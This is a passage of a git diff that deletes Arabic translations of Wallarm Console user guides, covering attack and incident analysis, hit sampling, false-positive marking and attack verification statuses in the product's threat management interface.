(تعتمد على [وضع ترشيح الحركة](../../admin-en/configure-wallarm-mode.md)). -* *الرمز*: رمز حالة الرد من خادم الويب للطلب. إذا كان العقدة الفاصلة قد حجبت الطلب، سيكون الرمز `403` أو [قيمة مخصصة أخرى](../../admin-en/configuration-guides/configure-block-page-and-code.md). -* *الحجم*: حجم الرد من خادم الويب. -* *الوقت*: زمن الرد من خادم الويب. - -إذا كان الهجوم يحدث في اللحظة الحالية، يتم عرض العلامة *"الآن"* تحت الرسم البياني للطلب. - -![هجوم يحدث حاليا][img-current-attack] - -توفر عرض الطلب الخيارات التالية لتعديل سلوك Wallarm: - -* [**وضع علامة كإيجابي زائف** و**خاطئ**](false-attack.md) للإبلاغ عن الطلبات المشروعة المعلمة كهجمات. -* **تعطيل base64** للإشارة إلى أن البازر base64 تم تطبيقه بشكل غير صحيح على عنصر الطلب. - - يفتح الزر نموذجًا مملوءًا مسبقًا لإعداد [القاعدة التي تعطل البازر](../../user-guides/rules/request-processing.md#managing-parsers). -* **القاعدة** لإنشاء [أي قاعدة فردية](../rules/rules.md#rule) لمعالجة بعض الطلبات. - - يفتح الزر نموذجًا لإعداد القاعدة مملوءًا مسبقًا ببيانات الطلب. - -* يتم عرض قسم **اكتشاف بواسطة القواعد المخصصة** إذا تم اكتشاف الهجوم بواسطة [قاعدة العميل الأساسية على التوالي](../../user-guides/rules/regex-rule.md). يحتوي القسم على الرابط إلى القاعدة المقابلة (يمكن أن يكون هناك أكثر من واحد) - انقر على الرابط للوصول إلى تفاصيل القاعدة وتعديلها إذا كان ذلك ضروريًا. - - ![الهجوم المكتشف بواسطة القاعدة الأساسية للعميل - تعديل القاعدة](../../images/user-guides/search-and-filters/detected-by-custom-rule.png) - - [تعرف على كيفية البحث عن هذه الهجمات →](../../user-guides/search-and-filters/use-search.md#search-by-regexp-based-customer-rule) - -## تحليل الطلب بتنسيق الخام - -تنسيق الخام للطلب هو أقصى مستوى ممكن من التفصيل. يتيح عرض التنسيق الخام في وحدة تحكم Wallarm أيضًا نسخ الطلب بتنسيق cURL. - -لعرض طلب بتنسيق الخام، قم بتوسيع الهجوم المطلوب وبعد ذلك الطلب داخله. - -![تنسيق الخام للطلب][img-analyze-attack-raw] - -## تحليل الطلبات من الأيبيهات في القائمة السوداء - -تثبت [القائمة السوداء](../../user-guides/ip-lists/overview.md) أنها تدبير دفاعي فعال ضد الهجمات عالية الحجم من أنواع مختلفة. يتم تحقيق ذلك عن طريق حظر الطلبات في أقرب مرحلة من المعالجة. في الوقت نفسه، من المهم جدًا جمع معلومات شاملة حول جميع الطلبات المحظورة للتحليل اللاحق. - -تقدم Wallarm القدرة على جمع وعرض إحصائيات بشأن الطلبات المحظورة من أيبيهات مصدر في القائمة السوداء. وهذا يمكنك من تقييم قوة الهجمات القادمة من أي بيهات القائمة السوداء، وإجراء تحليل دقيق للطلبات من هذه الأي بيهات، واستكشاف مختلف العوامل. - -!!! info "توفر الميزة" - الميزة متاحة اعتبارًا من نسخة العقدة 4.8، لعقد الـ NGINX. بشكل افتراضي هو [ممكّن](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable). - -في Wallarm، هناك عدة طرق للـ IP للدخول إلى القائمة السوداء. اعتمادًا على الطريقة المستخدمة، ستحتاج إلى [البحث](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) عن الأحداث المرتبطة باستخدام وسم/مرشح مختلف: - -* تضيفه يدويا (في قسم **الهجمات**، استخدم البحث `blocked_source` أو مرشح `Blocked Source`) -* يقوم بهجوم سلوكي ويتم إدراجه تلقائيا في: - * وحدة [Prevention Abuse API](../../user-guides/ip-lists/overview.md#automatic-bots-ips-denylisting) (`api_abuse` البحث، فلتر `API Abuse`) - * محفز [`Brute force`](../../admin-en/configuration-guides/protecting-against-bruteforce.md) (`brute`, `Brute force`) - * محفز [`Forced browsing`](../../admin-en/configuration-guides/protecting-against-bruteforce.md) (`dirbust`, `Forced browsing`) - * محفز [`BOLA`](../../admin-en/configuration-guides/protecting-against-bola.md) (`bola`, `BOLA`) - * محفز `Number of malicious payloads` (`multiple_payloads`, `Multiple payloads`) - -يمكن اكتشاف الهجمات السلوكية المذكورة فقط بعد تراكم بعض الإحصائيات التي يعتمد عليها عتبة المحفز المقابل. وبالتالي، في المرحلة الأولى، قبل الإدراج في القائمة السوداء، يجمع Wallarm هذه المعلومات ولكن جميع الطلبات يتم تمريرها وعرضها ضمن أحداث `Monitoring`. - -بمجرد تجاوز عتبات المحفز، يعتبر النشاط الخبيث مكتشفًا، ويضع Wallarm الـ IP في القائمة السوداء، وتبدأ العقدة في حظر جميع الطلبات القادمة منها على الفور. - -بمجرد تمكين إرسال المعلومات حول الطلبات من أي بيهات القائمة السوداء، سترى الطلبات `Blocked` من هذه الأي بيهات في قائمة الحدث. تنطبق هذه الطريقة أيضًا على أي بيهات القائمة السوداء التي تم إدراجها يدويا. - -![أحداث ذات صلة بأي بيهات القائمة السوداء - تم تمكين إرسال البيانات](../../images/user-guides/events/events-denylisted-export-enabled.png) - -لاحظ أن البحث/المرشحات سيعرضان كلا من أحداث `Monitoring` و - إذا تم تمكين إرسال المعلومات - أحداث `Blocked` لكل نوع من الهجمات. لا يوجد أبدًا حدث `Monitoring` لأي بيهات القائمة السوداء المضافة يدويا. - -ضمن الأحداث `Blocked`، استخدم الوسم للتبديل إلى سبب الإدراج في القائمة السوداء - إعدادات BOLA، API Abuse Prevention، المحفز أو القيمة السبب في القائمة السوداء. - -## الضبط الدقيق للأحداث - -### تجميع الضربات - -يمكنك تحسين قوائم الهجمات والحوادث عن طريق تجميع [الضربات](../../glossary-en.md#hit) المرسلة من نفس عنوان IP في هجوم واحد. - -التجميع ممكن بشكل افتراضي في Wallarm Console → **المحفزات** مع المحفز الافتراضي **الضربات من نفس الـ IP** الذي يتنشط عندما يتم إصدار أكثر من 50 ضربة من عنوان IP واحد خلال 15 دقيقة. - -![مثال على محفز لتجميع الضربات](../../images/user-guides/triggers/trigger-example-group-hits.png) - -إذا كانت الضربات المجمعة لها أنواع هجمات مختلفة وحمولات خبيثة وعناوين URL، سيتم وضع علامة على بارامترات الهجوم بوسم `[multiple]` في قائمة الهجمات. - -لا يتم اعتبار الضربات المع النوع الهجوم Brute force، Forced browsing، Resource overlimit، Data bomb، أو Virtual patch في هذا المحفز. - -يمكنك تعطيل المحفز الافتراضي مؤقتًا. يمكنك أيضًا تعديل السلوك المقدم من قبل المحفز الافتراضي - للقيام بذلك، أنشئ محفزات مخصصة من نوع **الضربات من نفس الـ IP**. إنشاء أي محفز مخصص يحذف الافتراضي، إذا حذفت جميع محفزاتك المخصصة، يتم استعادة الافتراضي. - -### اختيار الضربات - -#### نظرة عامة - -عادةً ما تتكون الحركة الخبيثة من [الضربات](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) المتشابهة والمتطابقة. يؤدي تخزين جميع الضربات إلى إدخالات مكررة في قائمة الأحداث والتي تزيد من كل من وقت تحليل الحدث والحمولة على Wallarm Cloud. - -يعمل اختيار الضربات على تحسين تخزين البيانات والتحليل عن طريق إسقاط الضربات غير الفريدة من أجل تحميلها إلى Wallarm Cloud. - -!!! warning "الضربات المسقطة في عدد الـ RPS" - نظرًا لأن الطلبات المسقطة لا تزال طلبات يتم معالجتها بواسطة العقدة Wallarm، يزيد قيمة الـ RPS في تفاصيل العقدة مع كل طلب مسقط. - - يتضمن عدد الطلبات والضربات على [لوحة معلومات الوقاية من التهديدات](../dashboards/threat-prevention.md) أيضًا عدد الضربات المسقطة. - -لا يؤثر اختيار الضربات على جودة كشف الهجمات ويساعد فقط على تجنب تباطؤها. تستمر العقدة Wallarm في كشف الهجمات و [الحجب](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) حتى مع تفعيل اختيار الضربات. - -#### التمكين - -* بالنسبة ل[هجمات التحقق من الدخول](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، اختيار الضربات معطل بشكل افتراضي. إذا كانت نسبة الهجمات في حركتك عالية، يتم أداء اختيار الضربات في مرحلتين متتاليتين: **القصوى** و**العادية**. -* بالنسبة ل[الهجمات السلوكية](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), هجمات [Data bomb](../../attacks-vulns-list.md#data-bomb) و [Resource overlimiting](../../attacks-vulns-list.md#overlimiting-of-computational-resources): الخوارزمية العادية للأخذ عينة ممكّنة بشكل افتراضي. يبدأ أخذ العينة القصوى فقط إذا كانت نسبة الهجمات في حركتك عالية. -* بالنسبة لأحداث الأي بيهات في القائمة السوداء، يتم تكوين الأخذ عينة على جانب العقدة. يقوم فقط بتحميل أول 10 طلبات متطابقة إلى السحابة بينما يطبق خوارزمية الأخذ عينة على بقية الضربات. - -عند تمكين خوارزمية الأخذ عينة، في قسم **الهجمات**، يتم عرض التنبيه **تم تمكين أخذ عينة الضربات**. - -سيتم تعطيل الأخذ تلقائيا بمجرد انخفاض نسبة الهجمات في الحركة. - -#### منطق الأساسي - -يتم أداء أخذ العينة في مرحلتين متتاليتين: **القصوى** و**العادية**. - -الخوارزمية العادية تعالج فقط الضربات المحفوظة بعد المرحلة القصوى، ما لم تكن الضربات من [نوع سلوكي](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), أو [Data bomb](../../attacks-vulns-list.md#data-bomb) أو [Resource overlimiting](../../attacks-vulns-list.md#overlimiting-of-computational-resources). إذا كان أخذ العينة القصوى معطل لضربات هذه الأنواع، تعالج الخوارزمية العادية مجموعة الضربة الأصلية. - -**أخذ العينة القصوى** - -لدى خوارزمية الأخذ عينة القصوى اللوجيك الأساسي التالي: - -* إذا كانت ضربات [التحقق من الدخول](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، فإن الخوارزمية تقوم بتحميل الضربات التي تحتوي على [الحمولات الخبيثة](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) الفريدة فقط إلى السحابة. إذا تم اكتشاف عدة ضربات بنفس الحمولة خلال ساعة، يتم فقط تحميل الأول منها إلى السحابة وإسقاط الباقي. -* إذا كانت ضربات [سلوكية](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks), أو [Data bomb](../../attacks-vulns-list.md#data-bomb) أو [Resource overlimiting](../../attacks-vulns-list.md#overlimiting-of-computational-resources)، تقوم الخوارزمية بتحميل فقط أول 10% منها التي تم اكتشافها خلال ساعة إلى السحابة. - -**أخذ العينة العادية** - -لدى الخوارزمية العادية للأخذ عينة اللوجيك الأساسي التالي: - -1. تتم حفظ الخمسة ضربات المتطابقة الأولى لكل ساعة في العينة في Wallarm Cloud. الضربات المتبقية لا تتم حفظها في العينة، ولكن يتم تسجيل رقمها في بارامتر منفصل. - - تعتبر الضربات متطابقة إذا كانت جميع البارامترات التالية لديها نفس القيم: - - * نوع الهجوم - * البارامتر مع الحمولة الخبيثة - * عنوان الهدف - * طريقة الطلب - * رمز الرد - * عنوان IP المصدر -2. تتم مجموعة عينات الضربة في [هجمات](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) في قائمة الأحداث. - -تتم عرض الضربات المجمعة في قسم **الهجمات** أو **الحوادث** من وحدة تحكم Wallarm على النحو التالي: - -![الضربات المسقطة](../../images/user-guides/events/bruteforce-dropped-hits.png) - -لتصفية قائمة الأحداث بحيث تعرض الضربات المشتقة فقط، انقر على إشعار **تم تمكين أخذ عينة الضربات**. سيتم [إضافة](../search-and-filters/use-search.md#search-for-sampled-hits) السمة `sampled` إلى حقل البحث، وستعرض قائمة الأحداث فقط الضربات المشتقة. - -!!! info "عرض الضربات المسقطة في قائمة الأحداث" - نظرًا لأن الضربات المسقطة لا يتم تحميلها إلى Wallarm Cloud، يمكن أن يكون بعض الضربات أو كل الهجمات مفقودة في قائمة الأحداث. diff --git a/docs/latest-ar/user-guides/events/check-attack.md b/docs/latest-ar/user-guides/events/check-attack.md deleted file mode 100644 index 8c31025f50..0000000000 --- a/docs/latest-ar/user-guides/events/check-attack.md +++ /dev/null @@ -1,59 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[link-verify-attack]: ../events/verify-attack.md - -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[img-show-falsepositive]: ../../images/user-guides/events/filter-for-falsepositive.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action - -# التحقق من الهجمات - -في وحدة التحكم الخاصة بـWallarm، يمكنك التحقق من الهجمات المكتشفة في قسم **الهجمات**. للعثور على البيانات المطلوبة، يرجى استخدام حقل البحث كما هو موضح [هنا][use-search] أو تعيين عوامل التصفية البحثية المطلوبة يدويًا. - -## الهجمات - -![تبويب الهجمات][img-attacks-tab] - -* **التاريخ**: التاريخ والوقت للطلب الخبيث. - * إذا تم اكتشاف عدة طلبات من نفس النوع في فترات قصيرة، فسيظهر مدة الهجوم أسفل التاريخ. المدة هي الفترة الزمنية بين أول طلب من نوع معين وآخر طلب من نفس النوع خلال الإطار الزمني المحدد. - * إذا كان الهجوم يحدث في اللحظة الحالية، سيتم عرض [ملصق](#events-that-are-currently-happening) مناسب. -* **الوسائد**: نوع الهجوم وعدد الـ[حمولات الخبيثة](../../glossary-en.md#malicious-payload) الفريدة. -* **الضربات**: عدد الضربات (الطلبات) في الهجوم خلال الإطار الزمني المحدد. -* **أفضل IP / المصدر**: عنوان الـ IP الذي أصدرت منه الطلبات الخبيثة. عندما تصدر الطلبات الخبيثة من عدة عناوين IP، يعرض واجهة المستخدم عنوان الـ IP المسؤول عن معظم الطلبات. هناك أيضًا البيانات التالية المعروضة لعنوان الـ IP: - * العدد الإجمالي لعناوين الـ IP التي أصدرت منها الطلبات في نفس الهجوم خلال الإطار الزمني المحدد. - * الدولة/المنطقة التي يُسجل فيها عنوان الـ IP (إذا تم العثور عليها في قواعد البيانات مثل IP2Location أو غيرها) - * نوع المصدر، مثل **بروكسي عام**، **ويب بروكسي**، **Tor** أو منصة السحابة التي تم تسجيل IP بها، إلخ (إذا تم العثور عليه في قواعد البيانات مثل IP2Location أو غيرها) - * سيظهر ملصق **عناوين IP الخبيثة** إذا كان يُعرف أن عنوان IP للأنشطة الخبيثة. هذا بناءً على السجلات العامة وتأكيدات الخبراء -* **النطاق / المسار**: النطاق، المسار ومعرّف التطبيق الذي استهدفه الطلب. -* **الحالة**: حالة حظر الهجوم (تعتمد على [وضع تصفية حركة المرور](../../admin-en/configure-wallarm-mode.md)): - * محظور: تم حظر جميع ضربات الهجوم بواسطة عقدة التصفية. - * محظور جزئيًا: تم حظر بعض ضربات الهجوم وتم تسجيل الآخرين فقط. - * مراقبة: تم تسجيل جميع ضربات الهجوم ولكن لم يتم حظرها. -* **المعلمة**: معلمات الطلب الخبيث وعلامات [المحللات](../rules/request-processing.md) التي تم تطبيقها على الطلب -* **التحقق النشط**: [حالة التحقق](verify-attack.md) من الهجوم. - -يمكنك استخدام مفتاح **الترتيب حسب أحدث ضربة** لترتيب الهجمات حسب وقت آخر طلب. - -## الهجمات الجارية حاليًا - -يمكنك التحقق من الهجمات في الوقت الفعلي. إذا كانت موارد شركتك تتلقى طلبات خبيثة، يتم عرض البيانات التالية في وحدة التحكم Wallarm: - -* عدد الأحداث التي حدثت في آخر 5 دقائق، والتي سيتم عرضها بجوار اسم قسم **الهجمات** وداخل القسم. -* ملصق خاص، يتم عرضه أسفل تاريخ الحدث في جداول الهجمات أو الحوادث. - -يمكنك أيضًا إضافة كلمة `now` إلى حقل البحث لعرض الأحداث الجارية في اللحظة الحالية فقط: `attacks now`. - -![الهجمات الحاصلة الآن][img-current-attacks] - -## استدعاءات API للحصول على الهجمات - -للحصول على تفاصيل الهجوم، يمكنك [استدعاء API Wallarm مباشرة](../../api/overview.md) بجانب استخدام واجهة المستخدم الخاصة بوحدة التحكم Wallarm. فيما يلي مثال على استدعاء API لـ **الحصول على أول 50 هجومًا تم اكتشافه في آخر 24 ساعة**. - -يرجى استبدال `TIMESTAMP` بتاريخ قبل 24 ساعة محولاً إلى تنسيق [الوقت القياسي العالمي المُوحّد](https://www.unixtimestamp.com/). - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -!!! تحذير "الحصول على 100 هجوم أو أكثر" - لمجموعات الهجوم والضربات التي تحتوي على 100 سجل أو أكثر، من الأفضل استردادها على دفعات صغيرة بدلاً من جلب مجموعات البيانات الكبيرة دفعة واحدة، من أجل تحسين الأداء. [استكشف مثال الطلب المناسب](../../api/request-examples.md#get-a-large-number-of-attacks-100-and-more) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/events/check-incident.md b/docs/latest-ar/user-guides/events/check-incident.md deleted file mode 100644 index 0bb7c62cea..0000000000 --- a/docs/latest-ar/user-guides/events/check-incident.md +++ /dev/null @@ -1,45 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[link-verify-attack]: ../events/verify-attack.md -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action - -# فحص الحوادث - -في واجهة Wallarm Console، يمكنك التحقق من الحوادث المكتشفة في قسم **الحوادث**. للعثور على البيانات المطلوبة، يرجى استخدام حقل البحث كما هو موضح [هنا][use-search]أوتعيين عوامل تصفية بحث يدوياً. - -## الحوادث - -![تبويب الحوادث][img-incidents-tab] - -* **التاريخ**: التاريخ والوقت للطلب الخبيث. - * إذا كشفت عدة طلبات من النوع نفسه في فترات قصيرة، يظهر مدة الهجوم تحت التاريخ. المدة هي الفترة الزمنية بين أول طلب من نوع معين وآخر طلب من النوع نفسه في الإطار الزمني المحدد. - * إذا كان الهجوم يحدث في اللحظة الحالية، يتم عرض تصنيف مناسب [هنا](#events-that-are-currently-happening). -* **الحمولات**: نوع الهجوم وعدد ال[حمولات الخبيثة](../../glossary-en.md#malicious-payload) الفريدة. -* **الضربات**: عدد الضربات (الطلبات) في الهجوم خلال الإطار الزمني المحدد. -* **أعلى IP / المصدر**: عنوان IP من خلاله تم إصدار الطلبات الخبيثة. عندما تنشأ الطلبات الخبيثة من عدة عناوين IP، يعرض الواجهة عنوان IP المسؤول عن معظم الطلبات. هناك أيضاً البيانات التالية المعروضة لعنوان IP: - * العدد الإجمالي لعناوين IP التي أنشأت الطلبات في الهجوم نفسه خلال الإطار الزمني المحدد. - * البلد/المنطقة التي تم تسجيل عنوان IP فيها (إذا وُجِدَ في قواعد البيانات مثل IP2Location أو غيرها) - * نوع المصدر، مثل **عنوان IP لبروكسي عام**، **ويب بروكسي**، **Tor** أو منصة السحابة التي تم تسجيل عنوان IP فيها، إلخ (إذا وُجِدَ في قواعد البيانات مثل IP2Location أو غيرها) - * سيظهر تصنيف **IPs الخبيثة** إذا كان عنوان IP معروفًا بأنشطة خبيثة. هذا استنادًا إلى السجلات العامة وتقييمات الخبراء -* **النطاق / المسار**: النطاق والمسار ومعرف التطبيق الذي استهدفه الطلب. -* **الحالة**: حالة حجب الهجوم (تعتمد على [وضع تصفية الحركة](../../admin-en/configure-wallarm-mode.md)): - * محجوب: تم حجب جميع ضربات الهجوم بواسطة العقدة المرشحة. - * محجوب جزئياً: تم حجب بعض الضربات من الهجوم وتم تسجيل الباقي فقط. - * مراقبة: تم تسجيل جميع ضربات الهجوم ولكن لم يتم حجبها. -* **المعلمة**: معطيات الطلب الخبيث وعلامات [المحللات](../rules/request-processing.md) التي تم تطبيقها على الطلب -* **الثغرات الأمنية**: الثغرة الأمنية، التي استغلتها الحادثة. النقر على الثغرة الأمنية يأخذك إلى وصفها المفصل وتعليمات حول كيفية إصلاحها. - -لفرز الحوادث حسب وقت آخر طلب، يمكنك استخدام مفتاح **الفرز حسب آخر ضربة**. - -## الاستدعاءات البرمجية للحصول على الحوادث - -للحصول على تفاصيل الحوادث، يمكنك [استدعاء واجهة برمجة تطبيقات Wallarm مباشرةً](../../api/overview.md) بالإضافة إلى استخدام واجهة Wallarm Console. أدناه مثال على الاستدعاء البرمجي لـ **الحصول على أول 50 حادثة تم كشفها في آخر 24 ساعة**. - -الطلب مماثل لـ[الاستدعاء المستخدم](check-attack.md#api-calls-to-get-attacks) لقائمة الهجمات؛ يُضاف مصطلح `"!vulnid": null` لطلب الحوادث. يوجه هذا المصطلح الواجهة البرمجية لتجاهل جميع الهجمات دون تحديد معرف الثغرة الأمنية، وهكذا يميّز النظام بين الهجمات والحوادث. - -يرجى استبدال `TIMESTAMP` بتاريخ قبل 24 ساعة محول إلى تنسيق [الطابع الزمني لـ Unix](https://www.unixtimestamp.com/). - ---8<-- "../include/api-request-examples/get-incidents-en.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/events/false-attack.md b/docs/latest-ar/user-guides/events/false-attack.md deleted file mode 100644 index 00a01e527f..0000000000 --- a/docs/latest-ar/user-guides/events/false-attack.md +++ /dev/null @@ -1,53 +0,0 @@ -# العمل مع الهجمات الزائفة - -**الإيجابيات الزائفة** تحدث عندما يتم اكتشاف علامات الهجوم في الطلبات المشروعة. بعد تحليل هجوم، قد تخلص إلى أن كل طلب أو بعض الطلبات في هذا الهجوم إيجابيات زائفة. لمنع وحدة التصفية من التعرف على مثل هذه الطلبات كهجمات في تحليل المرور المستقبلي، يمكنك وضع علامة على عدة طلبات أو الهجوم بأكمله أو الحادثة كإيجابي زائف. - -## كيف تعمل علامة الإيجابي الزائف؟ - -* إذا تم إضافة علامة إيجابي زائف لنوع الهجوم المختلف عن [تعرض المعلومات](../../attacks-vulns-list.md#information-exposure)، فإن القاعدة التي تعطل تحليل نفس الطلبات لعلامات الهجوم المكتشفة ([الرموز](../../about-wallarm/protecting-against-attacks.md#library-libproton)) يتم إنشاؤها تلقائيًا. -* إذا تم إضافة علامة إيجابي زائف للحادثة مع نوع الهجوم [تعرض المعلومات](../../attacks-vulns-list.md#information-exposure)، فإن القاعدة التي تعطل تحليل نفس الطلبات لعلامات [الثغرات المكتشفة](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) يتم إنشاؤها تلقائيًا. - -القاعدة المُنشأة يتم تطبيقها عند تحليل الطلبات إلى التطبيق المحمي. القاعدة لا تُعرض في وحدة التحكم Wallarm ويمكن تغييرها أو إزالتها فقط بواسطة الطلب المُرسل إلى [الدعم الفني لـ Wallarm](mailto:support@wallarm.com). - -## وضع علامة على طلب كإيجابي زائف - -لوضع علامة على طلب واحد (إصابة) كإيجابي زائف: - -1. في وحدة التحكم Wallarm → **الهجمات** أو **الحوادث**، قم بتوسيع قائمة الطلبات في الهجوم الذي يبدو أنه إيجابي زائف. - - لتقليل وقت تحليل الطلب، يمكنك إخفاء الطلبات التي هي بالتأكيد ضارة باستخدام [الوسم `!known`](../search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits). -2. حدد طلبًا صالحًا وانقر على **زائف** في عمود **الإجراءات**. - - ![إصابة زائفة][img-false-attack] - -## وضع علامة على هجوم كإيجابي زائف - -لوضع علامة على جميع الإصابات في الهجوم كإيجابيات زائفة: - -1. في وحدة التحكم Wallarm → **الهجمات** أو **الحوادث**، حدد هجومًا به طلبات صالحة. - - لتقليل وقت تحليل الطلب، يمكنك إخفاء الطلبات التي هي بالتأكيد ضارة باستخدام [الوسم `!known`](../search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits). -2. انقر على **وضع علامة كإيجابي زائف**. - - ![هجوم زائف](../../images/user-guides/events/analyze-attack.png) - -!!! تحذير "إذا كان الهجوم يتكون من إصابات مجمعة حسب عناوين الـ IP" - إذا كان الهجوم يتألف من إصابات [مجمعة](../../about-wallarm/protecting-against-attacks.md#attack) بواسطة عناوين الـ IP، فإن زر **وضع علامة كإيجابي زائف** غير متاح. يمكنك [وضع علامة على إصابات معينة](#mark-a-hit-as-a-false-positive) كإيجابيات زائفة. - -إذا تم وضع علامة على جميع الطلبات في الهجوم كإيجابيات زائفة، فستبدو المعلومات عن ذلك الهجوم كما يلي: - -![تم وضع علامة على الهجوم بالكامل كزائف][img-removed-attack-info] - -## إزالة علامة الإيجابي الزائف - -لإزالة علامة الإيجابي الزائف من الطلب أو الهجوم، يرجى إرسال طلب إلى [الدعم الفني لـ Wallarm](mailto:support@wallarm.com). أيضًا، يمكنك التراجع عن علامة الإيجابي الزائف في مربع الحوار في وحدة التحكم Wallarm بعد بضع ثوان من تطبيق العلامة. - -## عرض الإيجابيات الزائفة في قائمة الهجمات - -تتيح وحدة التحكم Wallarm التحكم في عرض الإيجابيات الزائفة في قائمة الهجمات من خلال الفلتر المنفصل. إليك خيارات الفلتر: - -* **عرض افتراضي**: الهجمات الفعلية فقط -* **مع الإيجابيات الزائفة**: الهجمات الفعلية والإيجابيات الزائفة -* **الإيجابيات الزائفة فقط** - -![فلتر الإيجابي الزائف](../../images/user-guides/events/filter-for-falsepositive.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/events/overview.md b/docs/latest-ar/user-guides/events/overview.md deleted file mode 100644 index 6116849343..0000000000 --- a/docs/latest-ar/user-guides/events/overview.md +++ /dev/null @@ -1,61 +0,0 @@ -# Threat Management Overview - -Wallarm's **Threat Management** provides full, real-time picture of your security posture and allows controlling used protection tools. This article gives an overview of Threat Management components, their purpose and main possibilities. - -## Overview - -Threat Management provides full picture of what is happening: - -* Do you want visualized interactive summary for attacks, endpoints, protection tools in action? Use [dashboards](#dashboards). -* Do you want to see occurring attacks, taken measures, and tools that provided these measures? Work with [attacks](#attacks), easily [adjust](check-attack.md#responding-to-attacks) the tools. -* Work in the same way with [incidents](#incidents). -* Do you want informative documents on attacks, incidents or vulnerabilities? Generate PDF or CSV [reports](#reports) with the filtered data of you choice. - -![Threat Management](../../images/user-guides/events/tm-diagram-no-sessions.png) - -All Threat Management components include advanced search and filtering capabilities. You can also make PDF and CSV reports for attacks and incidents with the filtered content of you choice. Wallarm uses the sophisticated grouping mechanisms to logically combine requests into attacks and sessions and provides you with the ability to modify how Sessions are detected to make a full match to your application logic. - -## Dashboards - -Threat Management's dashboards provide visualized summaries for your security perimeter and posture. All being interactive, they provide you with quick access to details and data in different parts of the system and configuration tools. - -![Threat Management - dashboards](../../images/user-guides/events/tm-overview-dashboards.png) - -* Get clear vision of the malicious traffic volume and its distribution by attack types, sources, protocols, authentication methods, etc. with the [**Threat Prevention**](../../user-guides/dashboards/threat-prevention.md) dashboard. -* Review data about your API collected by the Wallarm's API Discovery with the [**API Discovery**](../../user-guides/dashboards/api-discovery.md) dashboard. -* Check covering the OWASP API Security Top 10 2023 and proactively implement security controls on the [**OWASP API Security Top 10 - 2023**](../../user-guides/dashboards/owasp-api-top-ten.md) dashboard. - -## Attacks - -Wallarm continuously analyzes application traffic, detects and mitigates attacks in real-time. The [**Attacks**](check-attack.md) section of the Wallarm Console is the central hub for analyzing current attempts of penetrating your security perimeter and its staying protected from them as well as the tool for configuring additional security measures. - -![Threat Management - Attacks](../../images/user-guides/events/filter-for-falsepositive.png) - -With **Attacks** section you can: - -* See current attacks and Wallarm's taken measures and limit what you see to: - - * Attacks of specific types - * From specific IPs or geographical locations - * Occurred in specific time - * To specific applications or domains - * Etc. - -* See the same info for different periods - up to last 3 months -* Create or modify [rules](../../user-guides/rules/rules.md#what-you-can-do-with-rules) for treating similar attacks in future -* Correct Wallarm decision making by highlighting [false positives](check-attack.md#false-positives) - -## Incidents - -The incidents are the attacks targeted at a confirmed vulnerability. The [**Incidents**](check-incident.md) section connects all common attack data with the vulnerability it tries to exploit and thus you can: - -* Have all info and tools available in **Attacks** -* Get related vulnerability data and full info of its - -![Threat Management - Incidents](../../images/user-guides/events/incident-vuln.png) - -## Reports - -For attacks, incidents or vulnerabilities, generate PDF or CSV [reports](../../user-guides/search-and-filters/custom-report.md). Do you want selected data? Apply filters and only filtered data will become the part of report. - -![Attacks - creating report](../../images/user-guides/search-and-filters/custom-report.png) diff --git a/docs/latest-ar/user-guides/events/verify-attack.md b/docs/latest-ar/user-guides/events/verify-attack.md deleted file mode 100644 index 242f7b33cd..0000000000 --- a/docs/latest-ar/user-guides/events/verify-attack.md +++ /dev/null @@ -1,52 +0,0 @@ -![حالات التحقق من الهجوم بحالات مختلفة][img-verification-statuses] - -# تحقق من الهجمات - -تقوم Wallarm تلقائيًا [بإعادة التحقق](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) من الهجمات للكشف عن الضعف النشط. - -يمكنك التحقق من حالة التحقق من الهجوم وفرض إعادة التحقق من الهجوم في علامة التبويب **الهجمات**. سيتم استخدام الهجوم المحدد كأساس لتوليد مجموعة اختبار الهجوم. - -## تحقق من حالة التحقق من الهجوم - -1. انقر على علامة التبويب **الهجمات**. -2. تحقق من الحالة في عمود **التحقق النشط**. - -## أسطورة حالات التحقق من الهجوم - -* ![مُحقق][img-verified-icon] *مُحقق*: تم التحقق من الهجوم. -* ![خطأ][img-error-icon] *خطأ*: محاولة للتحقق من نوع الهجوم الذي لا يدعم التحقق. [أسباب محتملة](#attack-types-that-do-not-support-verification) -* ![تم التخطي][img-skip-icon] *تم التخطي*: تم تخطي محاولة للتحقق من نوع الهجوم. [أسباب محتملة](#attack-types-that-do-not-support-verification) -* ![مُفروض][img-forced-icon] *مُفروض*: الهجوم لديه أولوية مُرفعة في قائمة التحقق. -* ![مُجدول][img-sheduled-icon] *مُجدول*: الهجوم في قائمة الانتظار للتحقق. -* ![لا يمكن الاتصال][img-cloud-icon] *لا يمكن الاتصال بالخادم*: لا يمكن الوصول إلى الخادم في هذا الوقت. - -## فرض التحقق من الهجوم - -1. 